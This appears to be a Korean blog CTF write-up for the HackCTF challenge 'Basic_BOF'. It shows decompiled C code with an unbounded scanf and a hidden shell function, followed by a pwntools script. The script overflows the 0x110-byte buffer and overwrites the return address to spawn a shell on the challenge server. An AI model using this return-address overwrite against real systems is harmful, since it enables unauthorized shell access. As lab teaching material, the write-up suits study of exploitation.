int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]
int v5; // [rsp+11Ch] [rbp-4h]
_isoc99_scanf("%s", &s, envp);
v5 = strlen(&s);
printf("Hello %s\n", &s);
return 0;
}
int callMeMaybe()
{
char *path; // [rsp+0h] [rbp-20h]
const char *v2; // [rsp+8h] [rbp-18h]
__int64 v3; // [rsp+10h] [rbp-10h]
path = "/bin/bash";
v2 = "-p";
v3 = 0LL;
return execve("/bin/bash", &path, 0LL);
}
따로 함수 호출이나 if 문이 없으니 ret 값을 callMeMaybe 함수의 주소로 바꾸면 될거 같다.
0x110 + 0x8 = 0x118 = 280
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3004)
payload = b""
payload += b"A" * (0x110 + 8)
payload += p64(0x0000000000400606)
r.sendline(payload)
r.interactive()
0x0000000000400606는 callMeMaybe 함수의 주소값이다.
이렇게 하면 쉘이 실행될 것이다. 거기다 cat flag 를 치면 된다.
728x90
'해킹 > writeup' 카테고리의 다른 글
6. DreamHack - basic_exploitation_000 (0) | 2021.07.11 |
---|---|
5. HackCTF - Simple_Overflow_ver_2 (0) | 2021.07.11 |
3. HackCTF - Basic_BOF #2 (0) | 2021.06.16 |
2. HackCTF - Basic_BOF #1 (0) | 2021.06.16 |
1. DreamHack - basic_exploitation_001 (0) | 2021.06.16 |